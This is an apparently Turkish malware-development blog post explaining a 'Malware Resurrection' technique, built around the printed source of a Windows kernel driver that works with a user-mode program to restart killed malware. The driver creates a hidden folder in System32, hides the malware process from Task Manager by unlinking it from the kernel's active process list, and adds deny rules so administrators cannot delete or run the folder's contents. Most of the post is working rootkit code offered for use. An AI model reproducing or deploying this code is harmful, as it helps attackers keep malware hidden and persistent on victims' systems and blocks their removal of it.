maldev | Malware Resurrection

Table of Contents

Merhabalar, bu yazıda Malware Resurrection tekniğini inceleyeceğiz.

Nedir bu Malware Resurrection?

Malware Resurrection tekniği, sisteme bulaşmış ve çalışan bir malware’in bir şekilde sonlandırılması sonrasında tekrar sistemde çalışabilmesi ve kalıcılığı sağlamak için sistemde tekrar diriltmesine olanak sağlayan bir tekniktir.

Bu yöntemi gerçekleştirmek için malware’in yanında ek bir program kullanılabilir veya driver kullanılabilir. Bu program veya driver, malware’i dinlemeye alır ve kapatılması durumunda malware sisteme tekrar indirip çalıştırabilir. Kalıcılığı sağlanmak için ise çeşitli yöntemlere başvurulabilir.

Proje

Hazırlanan projede user-mode program ve kernel-mode driver birlikte çalışarak kapanan malware’i tekrar diriltmek ve malware’in sistemde gizli bir şekilde çalışması için çeşitli yöntemlere başvurarak malware’in hem diritilmesi hem de gizli bir şekilde çalışması amaçlanmıştır.

User-mode programın en büyük amacı ilgili malware’i dinlemektir. Eğer malware bir şekilde kapanırsa, malware tekrar diriltmek için harekete geçer. Bu esnada user-mode program, malware indirmek için driver ile iletişim kurar. Driver, belirtilen yola bir gizli klasör oluşturur (projede C:\Windows\System32\ klasörü kullanılmıştır).

Bu işlemden sonra user-mode programı, oluşturulan gizli klasöre malware’i indirir ve bir process oluşturur. Bu işlemden sonra user-mode program, oluşturulan process’in PID değerini, malware’in gizli bir şekilde çalışabilmesi için driver’a iletir. Driver bu PID değeriyle DKOM saldırısı gerçekleştirerek Process listesinden malware’i siler. Bu yöntem sayesinde kullanıcı, Task Manager gibi araçlar üzerinden malware’i göremez.

Son olarak yine driver tarafından oluşturulan gizli klasörün yetkilerini değiştirir. Bu yetki değişikliği, kullanıcının klasörü silmesini ve klasör içerisindeki malware’i çalıştırmasını engeller.

Proje kodlarına göz atmak isterseniz buradaki github linkine tıklayabilirsiniz.

Kernel Mode Driver

İlk olarak kernel-mode sürücüyü inceleyeceğiz:

#pragma warning(disable: 28251 4189 4996 4152)

#include "main.h"

/* Remember to put \\ at the end of the path. */
UNICODE_STRING G_ExecutablePath = RTL_CONSTANT_STRING(L"\\??\\C:Windows\\System32\\HiddenFile\\");

PVOID GetKernelBase() {
	fp_ZwQuerySystemInformation fpZwQuerySystemInformation;
	PRTL_PROCESS_MODULES Modules;
	UNICODE_STRING QuerySystemInfoStr;
	PVOID KernelBase = NULL;
	ULONG Bytes = 0;
	NTSTATUS Status;

	RtlInitUnicodeString(&QuerySystemInfoStr, L"ZwQuerySystemInformation");

	fpZwQuerySystemInformation = (fp_ZwQuerySystemInformation)MmGetSystemRoutineAddress(&QuerySystemInfoStr);
	if (NULL == fpZwQuerySystemInformation) {
		return NULL;
	}
	DbgPrintEx(0, 0, "[+] ZwQuerySystemInformation Address: 0x%p\n", fpZwQuerySystemInformation);

	Status = fpZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &Bytes);
	if (STATUS_INFO_LENGTH_MISMATCH != Status) {
		return NULL;
	}

	Modules = (PRTL_PROCESS_MODULES)ExAllocatePoolWithTag(NonPagedPool, Bytes, 'modl');
	if (NULL == Modules) {
		return NULL;
	}

	Status = fpZwQuerySystemInformation(SystemModuleInformation, Modules, Bytes, &Bytes);
	if (!NT_SUCCESS(Status)) {
		return NULL;
	}
	KernelBase = Modules->Modules[0].ImageBase;

	ExFreePool(Modules);
	return KernelBase;

}

PVOID FindFunction(PVOID KernelBaseAddress, PCSTR TargetFunctionName) {
	PIMAGE_EXPORT_DIRECTORY ExportDirectory;
	PIMAGE_DOS_HEADER DosHeader;
	PIMAGE_NT_HEADERS NTHeader;
	PVOID FoundFuncAddress = NULL;
	PCSTR CurrentFunction = NULL;
	PUSHORT Ordinals = 0;
	USHORT TargetOrdinal = 0;
	PULONG Functions = 0;
	PULONG Names = 0;
	ULONG ExportDirectoryRVA;

	DosHeader = (PIMAGE_DOS_HEADER)KernelBaseAddress;
	if (IMAGE_DOS_SIGNATURE != DosHeader->e_magic) {
		DbgPrintEx(0, 0, "[-] Invalid DOS Header Signature!\n");
		return NULL;
	}

	NTHeader = (PIMAGE_NT_HEADERS)((PUCHAR)KernelBaseAddress + DosHeader->e_lfanew);
	if (IMAGE_NT_SIGNATURE != NTHeader->Signature) {
		DbgPrintEx(0, 0, "[-] Invalid NT Header Signature!\n");
		return NULL;
	}

	ExportDirectoryRVA = NTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
	if (!ExportDirectoryRVA) {
		DbgPrintEx(0, 0, "[-] No Export Directory Found!\n");
		return NULL;
	}

	ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)KernelBaseAddress + ExportDirectoryRVA);
	if (!ExportDirectory) {
		DbgPrintEx(0, 0, "[-] Export Directory not Found!\n");
		return NULL;
	}
	DbgPrintEx(0, 0, "[+] Export Directory Found at 0x%p\n", ExportDirectory);

	Names = (PULONG)((PUCHAR)KernelBaseAddress + ExportDirectory->AddressOfNames);
	Ordinals = (PUSHORT)((PUCHAR)KernelBaseAddress + ExportDirectory->AddressOfNameOrdinals);
	Functions = (PULONG)((PUCHAR)KernelBaseAddress + ExportDirectory->AddressOfFunctions);

	for (ULONG i = 0; i < ExportDirectory->NumberOfNames; i++) {
		CurrentFunction = (PCSTR)((PUCHAR)KernelBaseAddress + Names[i]);

		if (strcmp(CurrentFunction, TargetFunctionName) == 0) {
			TargetOrdinal = Ordinals[i];
			FoundFuncAddress = (PVOID)((PUCHAR)KernelBaseAddress + Functions[TargetOrdinal]);

			DbgPrintEx(0, 0, "[+] Function %s found at 0x%p Address!\n", TargetFunctionName, FoundFuncAddress);
			return FoundFuncAddress;
		}
	}
	DbgPrintEx(0, 0, "[-] %s not Found in Export Table!\n", TargetFunctionName);

	return NULL;
}

NTSTATUS SetFolderPermissions(UNICODE_STRING ImagePath, ACCESS_MASK CurrentAccessMask) {
	fpRtlAddAccessDeniedAceEx fp_RtlAddAccessDeniedAceEx;
	SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
	PSECURITY_DESCRIPTOR SecurityDescriptor = NULL;
	IO_STATUS_BLOCK IoStatusBlock;
	OBJECT_ATTRIBUTES ObjAttr;
	HANDLE HandleFile = NULL;
	PACL Acl = NULL;
	ULONG AclSize = 0;
	PSID AdminSid = NULL;
	SID AdminSidStatic;
	PVOID RtlAddAccessDeniedAceExAddr = NULL;
	PVOID KernelAddress = NULL;
	NTSTATUS Status;

	KernelAddress = GetKernelBase();
	if (NULL == KernelAddress) {
		DbgPrintEx(0, 0, "[-] Failed to Get Kernel Base Address!\n");
		return STATUS_UNSUCCESSFUL;
	}
	DbgPrintEx(0, 0, "[+] Kernel Base Address: 0x%p\n", KernelAddress);

	RtlAddAccessDeniedAceExAddr = FindFunction(KernelAddress, "RtlAddAccessDeniedAceEx");
	if (NULL == RtlAddAccessDeniedAceExAddr) {
		DbgPrintEx(0, 0, "[-] Failed to Find RtlAddAccessDeniedAceEx Function!\n");
		return STATUS_UNSUCCESSFUL;
	}
	fp_RtlAddAccessDeniedAceEx = (fpRtlAddAccessDeniedAceEx)RtlAddAccessDeniedAceExAddr;

	InitializeObjectAttributes(&ObjAttr, &ImagePath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);

	Status = ZwOpenFile(&HandleFile, READ_CONTROL | WRITE_DAC, &ObjAttr, &IoStatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, \
		FILE_DIRECTORY_FILE);
	if (!NT_SUCCESS(Status)) {
		return Status;
	}

	SecurityDescriptor = ExAllocatePoolWithTag(PagedPool, SECURITY_DESCRIPTOR_MIN_LENGTH, 'Secd');
	if (NULL == SecurityDescriptor) {
		ZwClose(HandleFile);
		return STATUS_INSUFFICIENT_RESOURCES;
	}

	Status = RtlCreateSecurityDescriptor(SecurityDescriptor, SECURITY_DESCRIPTOR_REVISION);
	if (!NT_SUCCESS(Status)) {
		ExFreePoolWithTag(SecurityDescriptor, 'Secd');
		ZwClose(HandleFile);
		return Status;
	}

	/* Include Admin and User */
	RtlInitializeSid(&AdminSidStatic, &NtAuthority, 2);
	*RtlSubAuthoritySid(&AdminSidStatic, 0) = SECURITY_BUILTIN_DOMAIN_RID;
	*RtlSubAuthoritySid(&AdminSidStatic, 1) = DOMAIN_ALIAS_RID_ADMINS;
	AdminSid = &AdminSidStatic;

	AclSize = sizeof(ACL) + sizeof(ACCESS_DENIED_ACE) - sizeof(ULONG) + RtlLengthSid(AdminSid);
	Acl = ExAllocatePoolWithTag(PagedPool, AclSize, 'ACLT');
	if (NULL == Acl) {
		ExFreePoolWithTag(SecurityDescriptor, 'Secd');
		ZwClose(HandleFile);
		return STATUS_INSUFFICIENT_RESOURCES;
	}

	Status = RtlCreateAcl(Acl, AclSize, ACL_REVISION);
	if (!NT_SUCCESS(Status)) {
		ExFreePoolWithTag(Acl, 'ACLT');
		ExFreePoolWithTag(SecurityDescriptor, 'Secd');
		ZwClose(HandleFile);
		return Status;
	}

	Status = fp_RtlAddAccessDeniedAceEx(Acl, ACL_REVISION, OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE, CurrentAccessMask, AdminSid);
	if (!NT_SUCCESS(Status)) {
		ExFreePoolWithTag(Acl, 'ACLT');
		ExFreePoolWithTag(SecurityDescriptor, 'Secd');
		ZwClose(HandleFile);
		return Status;
	}

	Status = RtlSetDaclSecurityDescriptor(SecurityDescriptor, TRUE, Acl, FALSE);
	if (!NT_SUCCESS(Status)) {
		ExFreePoolWithTag(Acl, 'ACLT');
		ExFreePoolWithTag(SecurityDescriptor, 'Secd');
		ZwClose(HandleFile);
		return Status;
	}

	Status = ZwSetSecurityObject(HandleFile, DACL_SECURITY_INFORMATION, SecurityDescriptor);
	if (!NT_SUCCESS(Status)) {
		ExFreePoolWithTag(Acl, 'ACLT');
		ExFreePoolWithTag(SecurityDescriptor, 'Secd');
		ZwClose(HandleFile);
		return Status;
	}

	ExFreePoolWithTag(Acl, 'ACLT');
	ExFreePoolWithTag(SecurityDescriptor, 'Secd');
	ZwClose(HandleFile);
	return Status;
}

NTSTATUS GetWindowsVersion(ULONG* MajorVersion, ULONG* MinorVersion, ULONG* BuildNumber) {
	RTL_OSVERSIONINFOW VersionInfo = { 0 };
	NTSTATUS Status;

	VersionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW);

	Status = RtlGetVersion(&VersionInfo);
	if (!NT_SUCCESS(Status)) {
		return Status;
	}
	*MajorVersion = VersionInfo.dwMajorVersion;
	*MinorVersion = VersionInfo.dwMinorVersion;
	*BuildNumber = VersionInfo.dwBuildNumber;

	return STATUS_SUCCESS;
}

ULONG GetActiveProcessLinkOffset() {
	ULONG MajorVersion = 0;
	ULONG MinorVersion = 0;
	ULONG BuildNumber = 0;
	NTSTATUS Status;

	Status = GetWindowsVersion(&MajorVersion, &MinorVersion, &BuildNumber);
	if (!NT_SUCCESS(Status)) {
		return 0;
	}

	if (10 == MajorVersion && 22000 >= MajorVersion) {
		return 0x448;
	}
	else if (10 == MajorVersion) {
		return 0x448;
	}
	else if (6 == MajorVersion && 3 == MinorVersion) {
		return 0x2e8;
	}
	else if (6 == MajorVersion && 1 == MinorVersion) {
		return 0x118;
	}

	return 0;
}

NTSTATUS HideProcess(HANDLE ProcessID) {
	PLIST_ENTRY ActiveProcessLink;
	PEPROCESS Process;
	ULONG Offset;
	NTSTATUS Status;

	Status = PsLookupProcessByProcessId(ProcessID, &Process);
	if (!NT_SUCCESS(Status)) {
		return Status;
	}

	Offset = GetActiveProcessLinkOffset();
	if (0 == Offset) {
		return STATUS_NOT_SUPPORTED;
	}
	ActiveProcessLink = (PLIST_ENTRY)((PUCHAR)Process + Offset);

	RemoveEntryList(ActiveProcessLink);

	return STATUS_SUCCESS;
}

NTSTATUS CreateHiddenFile() {
	HANDLE HandleDirectory = NULL;
	HANDLE HandleFile = NULL;
	OBJECT_ATTRIBUTES ObjAttr;
	IO_STATUS_BLOCK IoStatusBlock;
	NTSTATUS Status;

	InitializeObjectAttributes(&ObjAttr, &G_ExecutablePath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);

	Status = ZwCreateFile(&HandleDirectory, GENERIC_ALL, &ObjAttr, &IoStatusBlock, NULL, FILE_ATTRIBUTE_DIRECTORY | FILE_ATTRIBUTE_HIDDEN, \
		FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
	if (!NT_SUCCESS(Status)) {
		return Status;
	}
	ZwClose(HandleDirectory);

	return STATUS_SUCCESS;
}

NTSTATUS DispatchIOControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {

	UNREFERENCED_PARAMETER(DeviceObject);
	PIO_STACK_LOCATION Stack = IoGetCurrentIrpStackLocation(Irp);
	HANDLE MalwarePID;
	ULONG InputBufferLength;
	BOOLEAN ProcessRunning = TRUE;
	NTSTATUS Status;

	switch (Stack->Parameters.DeviceIoControl.IoControlCode) {

	case IOCTL_CREATE_DIRECTORY:
		Status = CreateHiddenFile();
		if (!NT_SUCCESS(Status)) {
			if (STATUS_OBJECT_NAME_COLLISION == Status) {
				Irp->IoStatus.Status = STATUS_SUCCESS;
				Irp->IoStatus.Information = 0;
				break;
			}
			Irp->IoStatus.Status = Status;
			Irp->IoStatus.Information = 0;
			break;
		}

		Irp->IoStatus.Status = STATUS_SUCCESS;
		Irp->IoStatus.Information = 0;
		break;

	case IOCTL_HIDE_PROCESS:
		MalwarePID = *((HANDLE*)Irp->AssociatedIrp.SystemBuffer);
		InputBufferLength = Stack->Parameters.DeviceIoControl.InputBufferLength;

		if (NULL == MalwarePID) {
			Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
			Irp->IoStatus.Information = 0;
			break;
		}

		Status = HideProcess(MalwarePID);
		if (!NT_SUCCESS(Status)) {
			Irp->IoStatus.Status = Status;
			Irp->IoStatus.Information = 0;
			break;
		}

		Status = SetFolderPermissions(G_ExecutablePath, DELETE | FILE_EXECUTE);
		if (!NT_SUCCESS(Status)) {
			Irp->IoStatus.Status = Status;
			Irp->IoStatus.Information = 0;
			break;
		}

		Irp->IoStatus.Status = STATUS_SUCCESS;
		Irp->IoStatus.Information = InputBufferLength;
		break;

	default:
		Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
		Irp->IoStatus.Information = 0;
		break;
	}
	IoCompleteRequest(Irp, IO_NO_INCREMENT);

	return Irp->IoStatus.Status;
}

NTSTATUS DispatchCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(DeviceObject);

	PIO_STACK_LOCATION Stack = IoGetCurrentIrpStackLocation(Irp);

	switch (Stack->MajorFunction) {
	case IRP_MJ_CREATE:
		Irp->IoStatus.Status = STATUS_SUCCESS;
		break;

	case IRP_MJ_CLOSE:
		Irp->IoStatus.Status = STATUS_SUCCESS;
		break;

	default:
		Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
		break;
	}
	Irp->IoStatus.Information = 0;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);

	return Irp->IoStatus.Status;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
	UNREFERENCED_PARAMETER(RegistryPath);
	UNICODE_STRING DeviceName;
	UNICODE_STRING SymLink;
	PDEVICE_OBJECT DeviceObject;
	NTSTATUS Status;

	RtlInitUnicodeString(&DeviceName, L"\\Device\\MyDevice");
	RtlInitUnicodeString(&SymLink, L"\\??\\MyDevice");

	Status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject);
	if (!NT_SUCCESS(Status)) {
		DbgPrintEx(0, 0, "Failed to Create Device!\n");
		return Status;
	}

	Status = IoCreateSymbolicLink(&SymLink, &DeviceName);
	if (!NT_SUCCESS(Status)) {
		DbgPrintEx(0, 0, "Failed to Create Symbolic Link!\n");
		return Status;
	}
	DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIOControl;
	DriverObject->DriverUnload = UnloadDriver;

	return STATUS_SUCCESS;
}

NTSTATUS UnloadDriver(PDRIVER_OBJECT DriverObject)
{
	UNICODE_STRING SymName = RTL_CONSTANT_STRING(L"\\??\\MyDevice");
	DbgPrintEx(0, 0, "Unloading the Driver...\n");

	IoDeleteSymbolicLink(&SymName);
	IoDeleteDevice(DriverObject->DeviceObject);

	return STATUS_SUCCESS;
}

Kodlar uzun gözüküyor gibi görünse de emin olun çok da zor değil. İlk olarak DriverEntry içerisinden başlayalım:

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
	UNREFERENCED_PARAMETER(RegistryPath);
	UNICODE_STRING DeviceName;
	UNICODE_STRING SymLink;
	PDEVICE_OBJECT DeviceObject;
	NTSTATUS Status;

	RtlInitUnicodeString(&DeviceName, L"\\Device\\MyDevice");
	RtlInitUnicodeString(&SymLink, L"\\??\\MyDevice");

	Status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject);
	if (!NT_SUCCESS(Status)) {
		DbgPrintEx(0, 0, "Failed to Create Device!\n");
		return Status;
	}

	Status = IoCreateSymbolicLink(&SymLink, &DeviceName);
	if (!NT_SUCCESS(Status)) {
		DbgPrintEx(0, 0, "Failed to Create Symbolic Link!\n");
		return Status;
	}
	DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIOControl;
	DriverObject->DriverUnload = UnloadDriver;

	return STATUS_SUCCESS;
}

Eğer bu kısma göz attıysanız çok yabancı gelmeyecektir. Bu işlemler önceki IOCTL ve IRP konulardan gördüğümüz adımlar. Bu yüzden bu kısımları özetleyerek devam edeceğim.

IoCreateDevice ile bir Device oluşturuyoruz. Bu işlem sonrasında user-mode programın driver ile iletişim kurabilmesi için IoCreateSymbolicLink fonksiyonu ile bir sembolik link oluşturuyoruz.

Son olarak ise IRP istekleri için fonksiyonlarımızı ayarlıyoruz. Şimdi IOCTL kodlarını işleyen fonksiyona göz atalım.

IOCTL geçmeden önce, bu projede iki tane IOCTL kodu yer almaktadır:

  • IOCTL_CREATE_DIRECTORY: Gizli bir klasör oluşturmak için kullanılacak IOCTL kodu.
  • IOCTL_HIDE_PROCESS: Process’i gizlemek için kullanılacak IOCTL kodu
switch (Stack->Parameters.DeviceIoControl.IoControlCode) {
	case IOCTL_CREATE_DIRECTORY:			
		Status = CreateHiddenFile();
		if (!NT_SUCCESS(Status)) {
			if (STATUS_OBJECT_NAME_COLLISION == Status) {
				Irp->IoStatus.Status = STATUS_SUCCESS;
				Irp->IoStatus.Information = 0;
				break;
			}
			Irp->IoStatus.Status = Status;
			Irp->IoStatus.Information = 0;
			break;
		}

		Irp->IoStatus.Status = STATUS_SUCCESS;
		Irp->IoStatus.Information = 0;
		break;

İlk olarak IOCTL_CREATE_DIRECTORY kodu işlenmektedir. Bu kod, gizli bir klasör oluşturmak için kullanılır. Bu işlemi gerçekleştirmek için CreateHiddenFile fonksiyonu çağırılmaktadır.

Fonksiyonun çağırılması ardından fonksiyonun geri dönüş değerini kontrol ediyoruz. Eğer değer, STATUS_SUCCESS değilse bu if yapısında bir kontrol daha gerçekleştiriyoruz.

Bu kontrolde Status değerinin STATUS_OBJECT_NAME_COLLISION olup olmadığını kontrol ediyoruz. Bu hata kodu, klasörün zaten oluşturulduğunu - yani oluşturulmak istenilen klasörün zaten var olduğunu - belirten bir kod hatasıdır. Dolayasıyla ZwCreateFile bu hata koduna düşüyorsa demek ki oluturulmak istenilen klasör zaten var demektir. Bu durumda STATUS_SUCCESS kodu ile return ediyoruz.

NTSTATUS CreateHiddenFile() {
	HANDLE HandleDirectory = NULL;
	HANDLE HandleFile = NULL;
	OBJECT_ATTRIBUTES ObjAttr;
	IO_STATUS_BLOCK IoStatusBlock;
	NTSTATUS Status;

	InitializeObjectAttributes(&ObjAttr, &G_ExecutablePath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);

	Status = ZwCreateFile(&HandleDirectory, GENERIC_ALL, &ObjAttr, &IoStatusBlock, NULL, FILE_ATTRIBUTE_DIRECTORY | FILE_ATTRIBUTE_HIDDEN, \
		FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
	if (!NT_SUCCESS(Status)) {
		return Status;
	}
	ZwClose(HandleDirectory);

	return STATUS_SUCCESS;
}

Bu fonksiyondaki adımlar ise basit. İlk olarak OBJECT_ATTRIBUTES yapısını oluşturuyoruz. Bu yapıyı oluşturmamızın sebebi, gizli klasörün özellikleri tanımlamak için.

Daha sonra ZwCreateFile ile klasörü GENERIC_ALL yani tam yetki ile oluşturuyoruz. Bu işlem sonrasında klasörü kapatıyoruz ve STATUS_SUCCESS kodu ile return ediyoruz. Eğer başarısız olursa hata kodunu return ediyoruz.

case IOCTL_HIDE_PROCESS:
	MalwarePID = *((HANDLE*)Irp->AssociatedIrp.SystemBuffer);
	InputBufferLength = Stack->Parameters.DeviceIoControl.InputBufferLength;

	if (NULL == MalwarePID) {
		Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
		Irp->IoStatus.Information = 0;
		break;
	}

	Status = HideProcess(MalwarePID);
	if (!NT_SUCCESS(Status)) {
		Irp->IoStatus.Status = Status;
		Irp->IoStatus.Information = 0;
		break;
	}

	Status = SetFolderPermissions(G_ExecutablePath, DELETE | FILE_EXECUTE);
	if (!NT_SUCCESS(Status)) {
		Irp->IoStatus.Status = Status;
		Irp->IoStatus.Information = 0;
		break;
	}

	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = InputBufferLength;
	break;

Daha sonra ise IOCTL_HIDE_PROCESS kodu işlenmektedir. Bu kod, process’i gizlemek ve klasörün yetkilerini değiştirmek için kullanılacaktır.

İlk adımda user-mode programdan gelen PID değerini HANDLE tipinde alıyoruz. Eğer bu değer NULL ise STATUS_INVALID_DEVICE_REQUEST kodu ile return ediyoruz.

Daha sonra alınan PID değeri ile HideProcess fonksiyonunu çağırıyoruz. Bu fonksiyon, process’i gizlemek için kullanılır. Eğer HideProcess fonksiyonu başarısız olursa hata kodunu return ediyoruz.

NTSTATUS HideProcess(HANDLE ProcessID) {
	PLIST_ENTRY ActiveProcessLink;
	PEPROCESS Process;
	ULONG Offset;
	NTSTATUS Status;

	Status = PsLookupProcessByProcessId(ProcessID, &Process);
	if (!NT_SUCCESS(Status)) {
		return Status;
	}

	Offset = GetActiveProcessLinkOffset();
	if (0 == Offset) {
		return STATUS_NOT_SUPPORTED;
	}
}

HideProcess fonksiyonuna göz attığımızda ilk adımda PsLookupProcessByProcessId fonksiyonu ile process’in EPROCESS yapısını alıyoruz.

EPROCESS yapısı, sistem process’lerini tanımlayan bir çekirdek bellek yapısıdır. Sürecin görüntü adı, hangi masaüstü oturumunda çalıştığı veya hangi erişim belirtecine sahip olduğu ve çok daha fazlası gibi ayrıntıları içermektedir. Buradaki amacımız EPROCESS yapısından ActiveProcessLink yapısını almak.

typedef struct _EPROCESS
{
     KPROCESS Pcb;
     EX_PUSH_LOCK ProcessLock;
     LARGE_INTEGER CreateTime;
     LARGE_INTEGER ExitTime;
     EX_RUNDOWN_REF RundownProtect;
     PVOID UniqueProcessId;
     LIST_ENTRY ActiveProcessLinks;
     ...
} EPROCESS, *PEPROCESS;

ActiveProcessLinks, sistemde çalışan tüm programları bir zincir gibi birbirine bağlayan bir yapıdır. Her programın (process’in) bilgilerini içeren bir yapı olan EPROCESS, ActiveProcessLinks ile bir liste gibi sıralanır. Bu sayede, her program bu zincire bir halka olarak eklenir. ActiveProcessLinks içinde, her programın önceki ve sonraki programlarla bağlantı kurmasını sağlayan LIST_ENTRY adlı bir yapı bulunur. Bu yapı sayesinde, sistemdeki tüm programlar birbirine bağlı bir şekilde takip edilebilir.

ActiveProcessLinks, bir programın bağlı olduğu listedeki önceki (Flink) ve sonraki (Blink) programları gösterir. Böylece sistemdeki tüm programlar, birbirine bağlı bir liste olarak tutulur.

typedef struct _LIST_ENTRY {
    struct _LIST_ENTRY *Flink;
    struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY;

Bu yapıda Flink, bağlı listenin bir sonraki öğesini, Blink ise önceki öğesini işaret eder. Process’i gizlemek için yapacağımız işlemde, bu yapıyı kullanarak process’i listeden çıkaracağız.

Daha sonra oluşturduğumuz GetActiveProcessLinkOffset fonksiyonu ile ActiveProcessLink yapısının offset değerini alıyoruz.

ULONG GetActiveProcessLinkOffset() {
	ULONG MajorVersion = 0;
	ULONG MinorVersion = 0;
	ULONG BuildNumber = 0;
	NTSTATUS Status;

	Status = GetWindowsVersion(&MajorVersion, &MinorVersion, &BuildNumber);
	if (!NT_SUCCESS(Status)) {
		return 0;
	}

	if (10 == MajorVersion && 22000 >= MajorVersion) {
		return 0x448;
	}
	else if (10 == MajorVersion) {
		return 0x448;
	}
	else if (6 == MajorVersion && 3 == MinorVersion) {
		return 0x2e8;
	}
	else if (6 == MajorVersion && 1 == MinorVersion) {
		return 0x118;
	}

	return 0;
}

Bu fonksiyonda ise işletim sisteminin sürümüne göre ActiveProcessLink yapısının offset değerini alıyoruz. Bu offset değeri, işletim sisteminin sürümüne göre değişiklik gösterebildiği için farklı Windows sürümüne göre alınmasını sağlar.

Normalde bu kullandığım yöntem çok sağlıklı olmayacaktır. Çünkü Windows güncellemeleri ile birlikte bu offset değerleri değişebilir ancak şuanlık 0x448 offset değeri windows 10 ve 11 sürümlerinde işe yarıyor. Diğerleri ise windows 7 ve 8 sürümlerine aittir.

Bu fonksiyonda ise öncelikle offset değeri bulmak için oluşturduğumuz GetWindowsVersion fonksiyonunu çağırıyoruz ve windows sürümünü alıyoruz. Ardından alınan değerlerle birlikte offset değerini return ediyoruz.

Offset = GetActiveProcessLinkOffset();
if (0 == Offset) {
	return STATUS_NOT_SUPPORTED;
}
ActiveProcessLink = (PLIST_ENTRY)((PUCHAR)Process + Offset);

RemoveEntryList(ActiveProcessLink);

return STATUS_SUCCESS;

HideProcess fonksiyonunun devamında ise ActiveProcessLink’in offset değerini aldıktan sonra RemoveEntryList ile bu Process’i listeden siliyoruz.

Status = SetFolderPermissions(G_ExecutablePath, DELETE | FILE_EXECUTE);
if (!NT_SUCCESS(Status)) {
	Irp->IoStatus.Status = Status;
	Irp->IoStatus.Information = 0;
	break;
}

IOCTL_HIDE_PROCESS’ın son kısmında SetFolderPermissions fonksiyonu çağırılmaktadır. Bu fonksiyon, oluşturulan gizli klasörün yetkilerini değiştirmek için kullanılacaktır. Özellikle bu fonksiyona verilen parametrelere dikkat edin, G_ExecutablePath değişkeni yetkisi değiştirilmesi istenen dosyayı temsil ederken, DELETE | FILE_EXECUTE parametreleri ise hangi işlemlerin engelleneceğini belirtiliyoruz.

NTSTATUS SetFolderPermissions(UNICODE_STRING ImagePath, ACCESS_MASK CurrentAccessMask) {
	...
	KernelAddress = GetKernelBase();
	if (NULL == KernelAddress) {
		DbgPrintEx(0, 0, "[-] Failed to Get Kernel Base Address!\n");
		return STATUS_UNSUCCESSFUL;
	}
	DbgPrintEx(0, 0, "[+] Kernel Base Address: 0x%p\n", KernelAddress);

SetFolderPermissions fonksiyonun ilk kısımlarında yetki değiştirmede adımları başlamadan önce RtlAccessDeniedAceEx fonksiyonun adresini almaya başlıyoruz. Bu API, belgelenmemiştir. Bu fonksiyon, bir güvenlik tanımlayıcısına (SID) dayalı bir erişim kontrol listesine (ACL) bir erişim reddi ACE’si ekler. Yani daha basit anlatmak gerekirse, belirli işlemi engellemek için kullanılır.

İlk olarak oluşturduğumuz GetKernelBase ile kernel base adresini alıyoruz. Bu adres, kernel-mode sürücü içerisinde kernel base adresine ulaşmamızı sağlar.

PVOID GetKernelBase() {
	fp_ZwQuerySystemInformation fpZwQuerySystemInformation;
	PRTL_PROCESS_MODULES Modules;
	UNICODE_STRING QuerySystemInfoStr;
	PVOID KernelBase = NULL;
	ULONG Bytes = 0;
	NTSTATUS Status;

	RtlInitUnicodeString(&QuerySystemInfoStr, L"ZwQuerySystemInformation");

	fpZwQuerySystemInformation = (fp_ZwQuerySystemInformation)MmGetSystemRoutineAddress(&QuerySystemInfoStr);
	if (NULL == fpZwQuerySystemInformation) {
		return NULL;
	}
	DbgPrintEx(0, 0, "[+] ZwQuerySystemInformation Address: 0x%p\n", fpZwQuerySystemInformation);

	Status = fpZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &Bytes);
	if (STATUS_INFO_LENGTH_MISMATCH != Status) {
		return NULL;
	}

	Modules = (PRTL_PROCESS_MODULES)ExAllocatePoolWithTag(NonPagedPool, Bytes, 'modl');
	if (NULL == Modules) {
		return NULL;
	}

	Status = fpZwQuerySystemInformation(SystemModuleInformation, Modules, Bytes, &Bytes);
	if (!NT_SUCCESS(Status)) {
		return NULL;
	}
	KernelBase = Modules->Modules[0].ImageBase;

	ExFreePool(Modules);
	return KernelBase;

}

